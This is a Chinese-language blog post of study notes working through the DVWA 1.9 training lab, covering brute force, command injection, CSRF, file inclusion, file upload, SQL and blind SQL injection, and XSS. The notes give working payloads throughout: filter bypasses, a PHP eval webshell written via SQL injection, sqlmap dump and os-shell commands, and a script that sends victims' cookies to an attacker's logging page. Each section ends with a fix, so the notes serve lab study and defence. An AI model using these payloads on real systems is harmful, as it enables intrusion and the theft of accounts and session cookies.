[笔记]渗透测试基础 - DVWA1.9
2017-11-02 23:12
218 查看
暴力破解(Brute Force)
演练
low/medium:burpsuite方法重放穷举high:python脚本构造数据包过token
impossible: noway
命令注入(Command injection)
命令注入流程
1.是否调用命令?2.函数或函数的参数是否可控
3.是否拼接注入命令
演练
low: 127.0.0.1&&net usermedium: 127.0.0.1&net user
high:127.0.0.1 | net user
impossible: noway
小结
A&B 简单的拼接,AB之间无制约关系A&&B A执行成功才会执行B
A|B A的输出作为B的输入
A||B A执行失败才会执行B
扩展
如果过滤了敏感命令,有如下技巧whoami who""ami who""am""i
如果不显示输出结果
1.延时注入 Windows: ping 127.0.0.1 -n 5 > nul Linux: sleep 5 2.远程请求 Windows: ping, telnet等 Linux: wget, curl, nslookup等
CSRF(Cross-site request forgery)
演练
low:构造
csrf.html文件如下,Client只要执行此页面,则密码会被修改。
注:为了显示效果写了一个按钮,hacker一般会写在脚本里。
<html> <body> <form action="http://192.168.28.128/dvwa/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="hacker" /> <input type="hidden" name="password_conf" value="hacker" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Click Me" /> </form> </body> </html>
medium:
增加了referer验证。
两种方式绕过:
1.只要修改referer为
http://ip/dvwa/vulnerabilities/csrf/即可。
2.深入研究发现,只要referer中包含请求ip即可,则将前面
csrf.html放入目录名为该ip的目录下即可。
high:
增加了user_token,除非和XSS漏洞配合使用,别无他法。
漏洞修复
可增加旧密码来验证。
文件包含(File Inclusion)
演练
low:远程文件执行:可直接执行代码。
http://192.168.28.128/dvwa/vulnerabilities/fi/?page=http://192.168.28.128/phpinfo.txt
以下是php代码:
<?php phpinfo(); ?>
medium:
本地方法读取: low方法失效,服务端过滤了
../字符,但是还可以使用
..\的方式来 继续本地读取。
远程文件执行由于
http://被过滤,所以构造
httphttp://://192.168.28.128/phpinfo.txt。
high:
本地方法读取:进一步研究发现,file字符并未被过滤,可使用
file协议
file协议:文件传输协议,访问本地计算机中的文件
所以构造:
http://192.168.28.128/dvwa/vulnerabilities/fi/ ?page=file:///C:/window/win.ini即可。
**远程文件执行:**file字符串并未被过滤,可结合文件上传漏洞来使用。
漏洞修复
可采取白名单的方式来防止绕过。文件上传(File Upload)
演练
low:文件上传无限制,直接上传即可。medium:
抓包分析,发现
Content-Type:类型被限制,则抓包改为image/jpeg,成功绕过
high:
文件包含漏洞:尝试了
php后缀名php内容
php后缀名img内容
img后缀名和php内容这三种都失败。可以制作
内涵图进行绕过。
//windows的cmd下 copy 1.jpg/b+1.txt/a 2.jpg //生成了2.jpg
成功上传2.jpg
**nginx解析漏洞:**nginx环境,配置
php.ini下的
cgi.fix_pathinfo=1这样即存在畸形解析。则
2.jpg/2.php成功执行。
impossible:
原理:文件重命名,文件压缩重生成,存储目录执行权限,存储目录与Web分离。
漏洞修复
阻止非法文件上传。文件后缀名白名单,文件类型校验,文件内容头部的判断。SQL注入(SQL Injection)
分析
low:探测是否存在漏洞,输入1'–>错误回显,证明存在SQL注入漏洞。
以下是三种POC
...where user_id = $id ==> ...where user_id = 1 or 1024=1024 ...where user_id = '$id' ==> ...where user_id = '1' or '1024'='1024' ...where user_id = "$id" ==> ...where user_id = "1" or "1024"="1024"
确定注入POC
1 or 1024=1024 1' or '1024'='1024
medium:
与low不同的地方:页面变化,POST提交,尝试用TamperData改包来注入,发现会将单引号
'转义,可以使用hex编码来绕过。
确定注入POC
1" or "1024"="1024 1' or '1024'='1024 1 or 1024=1024
high:
手动注入方式与low相同,区别是注入点和返回点不同。在sqlmap自动化注入中需要加
--second-order参数后加返回点地址。
演练
low://1.用order by确定查询字段数(二分法) 1' order by 5-- 错误 ==> 1<=字段数<10 1' order by 3-- 错误 ==> 1<=字段数<5 1' order by 2-- 正确 ==> 1<=字段数<3 最终确定 ==> 字段数=2 //2.确定回显点 ?id=xx'+union+select+1,2--+ //3.查询数据库信息 ?id=xx'+union+select+@@version,@@datadir--+ //4.查询用户名和数据库名 ?id=xx'+union+select+user(),+database()--+ //5.查询表名 ?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'--+ //6.查询列名(字段名) ?id=xx'+union+select+1,column_name+from+information_schema.columns+where+table_name='users'--+ //7.查询用户名和密码 ?id=xx'+union+select+user,password+from+users--+ //8.拓展-文件读取 ?id=xx'+union+select+1,load_file('c:\\windows\\win.ini')--+ //9.拓展-爆物理路径 ?id=xx'+union+select+"xx","xx"+into+outfile+'xx'--+ //10.拓展-写Webshell ?id=xx'+union+select+"<?php+@eval($_GET['cmd']);?>","webshell"+into+outfile+'C:\\xampp\\htdocs\\dvwa\\cmd.php'--+
medium:
//1.数字型注入 1 union select user,password from sers-- //2.查列名 1 union select 1,table_name from information_schema.tables where table_schema='dvwa'-- 失败,因为'会被转义。 1 union select 1,table_name from information_schema.tables where table_schema=0x64767761--
扩展
三种MySQL注释符#忽略 | --忽略 | /*忽略*/ |
---|---|---|
单行注释 | 单行注释 | 多行注释 |
注意与url中#区分 | 注意是短线短线空格 | 至少有两处输入 |
常编码成%23 | /**/注入中常用来作为空格 |
//1.攻击url sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" //2.攻击参数 -p sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" //3.登录状态 --cookie sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" //4.当前用户和数据库名 --cu rrent-user --current-db sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" --cu rrent-user --current-db //5.表名 sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa --tables //6.列名(字段名) sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users --columns //7.用户名和密码 sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users -C "user,password" --dump //8.获取Webshell sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users -C "user,password" --os-shell
medium:sqlmap自动化注入
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=medium;" //后续步骤如上。
high:sqlmap自动化注入
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=high;" --second-order "http://192.168.28.128/dvwa/vulnerabilities/sqli/"
漏洞修复
参考dvwa的Impossible等级的处理方式,其php代码检测了id数据类型,使用了预编译绑定id变量,有效地防止了SQL注入。除了预编译,还可以使用存储过程。
SQL盲注(SQL Injection(Blind))
分析
low:三种注入POC
...where user_id = $id ⇒ ...where user_id = 1 and 1024=1025 ...where user_id = '$id' ⇒ ...where user_id = '1' and '1024'='1025' ...where user_id = "$id" ⇒ ...where user_id = "1" and "1024"="1025"
确定注入POC
1 and 1024=1025 1' and '1024'='1025 ⇒ 推断出这种方式存在sql盲注漏洞 1" and "1024"="1025
盲注思路
1' and 真 -- 1' and 假 --
演练
low:布尔型
//1.确定字符串长度--利用length()函数,二分法 ?id=1'+and+length(database())>1+--+ ⇒ 真 ?id=1'+and+length(database())>10+--+ ⇒ 假 ⇒ 说明长度小于10 //2.可利用substr(),ascii()函数确定字符串内容
延时型
//1.方式一 ?id=1'+and+sleep(if(length(database())=4,5,0))--+ //2.方式二,利用benchmark()函数 ?id=1'+and+benchmark(if(length(database())=4,5000000,0), md5('test'));--+
medium:和low差不多
high:将id后参数放入cookie中。
sqlmap自动化注入
low/medium://1.攻击参数 -p sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" //2.登录状态 --cookie sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" //3.获取数据库名 //4.输出详细的信息 -v 1-6(1表示输出最少,6表示输出最多) sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" --current-db -v 3
high:
//1.由于注入参数放入了cookie中,所以用sqlmap的 --level2参数 sqlmap.py -u "http://192.168.183.128/vulnerabilities/sqli_blind/" -p "id" --cookie "PHPSESSID=0859oonlsod3pcb7v25jf1h6l7; security=high; " --level 2
拓展:SQL函数
length(str); – 获取字符串长度(字符串)substr(expression, start, length); – 获取子字符串(原始字符串,子串开始位置,字串长度)
ascii(string); – 获取第一个字符的ASCII值(字符串)
if(expr1, expr2, expr3); – 如果expr1为真,返回expr2,否则返回expr3
sleep(N); – 休眠(N秒)
benchmark(count, expr); – 重复计算(次数为count, 表达式)
cast(expression as data_type); – 数据类型转换(表达式as新的数据类型)
ifnull(expr1, expr2); – 如果expr1是null,返回expr2,否则返回本身
mid(expression, start, length); – 获取子字符串(原始字符串,子串开始位置,字串长度)
ord(string); – 获取第一个字符串的ASCII数值(字符串)
漏洞修复
参考impossible源码,发现检测了id数据类型,使用了预编译绑定id变量,有效得防止了SQL注入。参数化SQL语句,数据类型检测,用户输入过滤。
XSS(Cross-site scripting)
概述
XSS是客户端代码注入,通常注入代码是JavaScript区别于命令注入,SQL注入等服务端代码注入。存储型XSS | 反射型XSS | DOM型XSS |
---|---|---|
攻击代码在数据库里,输出在HTTP响应中 | 攻击代码在url里,输出在HTTP响应中 | 攻击代码在url里,输出在DOM节点中 |
反射型
low:在输入框里输入<script>alert(xss);</script>,成功弹窗,说明插入xss代码成功。
//1.攻击者Web ⇒ http://192.168.28.128/cookie.php <?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?> //2.攻击js <script>document.location='http://192.168.28.128/cookie.php?cookie='+document.cookie;</script> //3.构造攻击url http://192.168.183.128/dvwa/vulnerabilities/xss_r/ ?name=<script>document.location='http://192.168.28.128/cookie.php?cookie='+document.cookie;</script> //4.对url进行编码URLencode http://192.168.183.128/dvwa/vulnerabilities/xss_r/ ?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f192.168.28.128%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E //5.获得cookie ⇒ http://192.168.28.128/cookie.txt //6.利用firebug修改利用cookie,劫持登录。 打开对应的网页,修改cookie,直接进入index.php即可。
medium等级:
发现过滤了
<scirpt>标签,同上构造注入的方法,可以用的方法如下:
1.嵌套 ⇒
<scr<script>ipt>
2.大小写混合 ⇒
<ScRiPt>
high等级:
发现嵌套和大小写混合都失效,换一种思路,能够执行js脚本的标签并不止是script标签那么,有以下几种:
1.构造img标签 ⇒
<img src=x onerror=alert(1)>
2.iframe标签 ⇒
<iframe onload=alert(1)>
存储型
前端查看,限制了输入的长度,可以用tamperdata直接绕过。low/medium/high与反射型类似。
拓展
JavaScript弹窗函数alert();
confirm();
prompt();
漏洞修复
采用白名单的方式。输出过滤:html编码,js转义。
相关文章推荐
- Dvwa渗透测试之命令注入笔记
- 【转】渗透测试工具sqlmap基础教程
- 安全渗透测试笔记-----------开写封面
- Dvwa漏洞测试之文件包含笔记
- Linux新手生存笔记[9]——shell脚本基础2-条件测试及控制流
- 渗透测试工具sqlmap基础教程
- 1、python渗透测试——扫描端口(笔记)
- Android基础笔记一之测试与文件操作
- kali linux 网络渗透测试学习笔记(三)社会工程学之Java攻击:钓鱼网站制作
- 小白日记27:kali渗透测试之Web渗透-Http协议基础,WEB
- metasploit渗透测试笔记
- 软件测试基础(我以前的一些笔记,希望对大家有帮助,有错漏的地方希望大家指出)
- 安全渗透测试笔记-----安全漏洞生命周期
- 安全渗透测试笔记-------信息收集中名词解释
- [置顶] 安全之路---渗透测试学习笔记1
- CEH学习笔记之渗透测试框架
- IOS渗透测试第一步-基础知识统一放送
- 我的渗透测试笔记(一)